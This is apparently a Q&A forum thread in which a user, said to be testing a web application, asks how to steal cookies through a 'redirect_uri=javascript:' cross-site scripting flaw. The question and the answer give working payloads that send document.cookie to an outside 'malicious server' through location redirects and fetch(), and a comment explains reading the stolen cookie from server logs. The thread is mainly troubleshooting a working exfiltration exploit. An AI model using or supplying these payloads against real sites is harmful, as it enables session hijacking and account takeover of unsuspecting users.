0

I'm testing a web application and found that url contains "redirect=" where it navigates to new location once logged in.

http://IPAddress/?redirect_uri=test

I'm trying to exploit the cookie using redirect_uri as the HTTPOnly & Secure flags are not set.

I've trying different payloads and successfully exploited using following payload

http://IPAddress/?redirect_uri=javascript:alert(document.cookie)

Now i want to transfer the payload to another malicious server, for that I've tried following payloads, but nothing works.

http://IPAddress/?redirect_uri=javascript:document.location.href="http://maliciousserver.com/anyfile.php?cookie=" + document.cookie

The above payload not even send request to the malicious server, whereas the HTTP request was received for the following payload

http://IPAddress/?redirect_uri=javascript:document.location.href="http://maliciousserver.com/anyfile.php?cookie="

Could some one help me to transfer the cookie using redirect_uri=javascript: payload to another server?

P.S - <script> </script> tags are not executed as the x-xss-protection header is enabled.

1

The simplest way would be to use the fetch() method.

?redirect_uri=javascript:fetch("https://example.com/"+document.cookie)
  • Fetch method doesn't worked out and redirection doesn't work with open & close brackets. javascript:fetch="https://example.com/" executes and displayed it in the page itself but not redirected to target page. I can't pass document.cookie to target page. – vallikkv Dec 16 '18 at 15:54
  • The fetch method is not supposed to redirect to the endpoint, but rather send an HTTP request to your server with the cookie. Then you can extract the cookie from your logs. If you replace https://example.com/ in output.jsbin.com/zugeruvige?xss=javascript:fetch("https://… with your host, you should see the document's cookie in your logs. – EdOverflow Dec 16 '18 at 16:28

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.